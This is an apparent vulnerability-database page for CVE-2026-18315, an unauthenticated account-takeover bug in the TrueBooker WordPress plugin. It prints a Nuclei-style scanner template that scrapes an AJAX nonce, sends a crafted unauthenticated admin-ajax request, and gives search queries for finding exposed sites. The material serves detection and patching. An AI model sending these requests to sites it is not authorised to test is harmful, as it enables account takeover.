TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Exploit for CVE-2026-18315 | 20 Aug 202617:33 | – | githubexploit | |
| CVE-2026-18315 | 19 Aug 202620:11 | – | circl | |
| CVE-2026-18315 | 19 Aug 202618:27 | – | cve | |
| CVE-2026-18315 TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass Through User-Controlled Key to Account Takeover to 'truebooker_wp_user_id' Parameter | 19 Aug 202618:27 | – | cvelist | |
| EUVD-2026-62630 | 19 Aug 202618:27 | – | euvd | |
| CVE-2026-18315-PoC | 20 Oct 202603:05 | – | kitploit | |
| CVE-2026-18315 | 19 Aug 202619:17 | – | nvd | |
| WordPress TrueBooker plugin <= 1.2.6 - Unauthenticated Authorization Bypass Through User-Controlled Key to Account Takeover to 'truebooker_wp_user_id' Parameter vulnerability | 20 Aug 202611:00 | – | patchstack | |
| PT-2026-78571 | 18 Aug 202600:00 | – | ptsecurity | |
| CVE-2026-18315: Authorization Bypass Through User-Controlled Key | 19 Aug 202600:00 | – | rapid7 |
10
id: CVE-2026-18315
info:
name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
author: 0x_Akoko
severity: critical
description: |
TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.
impact: |
Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.
remediation: |
Update to the latest version of the TrueBooker plugin.
reference:
- https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability
- https://github.com/nastar-id/CVE-2026-18315-PoC
- https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-18315
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-18315
cwe-id: CWE-639
metadata:
verified: true
max-request: 6
vendor: truebooker
product: truebooker-appointment-booking
fofa-query: body="truebooker-appointment-booking"
publicwww-query: "/wp-content/plugins/truebooker-appointment-booking/"
tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev
flow: |
if (!http(1)) { stop(); }
http(2);
if (!template["nonce"]) { http(3); }
if (!template["nonce"]) { http(4); }
if (!template["nonce"]) { http(5); }
if (!template["nonce"]) { stop(); }
http(6);
http:
- raw:
- |
GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "TrueBooker")'
- 'compare_versions(plugin_version, "<= 1.2.6")'
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /booking/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /appointment/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
GET /schedule/ HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")'
condition: and
# digest: 4a0a00473045022100ae338b05a6ff02ae226f529be772c9d924de6cdd5da356d201a6c458b9e3b99a0220525d48707ba9acd0e5b61a50e82c0fafea4d3a2ea381b88a593a167934d659aa:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Oct 2026 00:02Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.022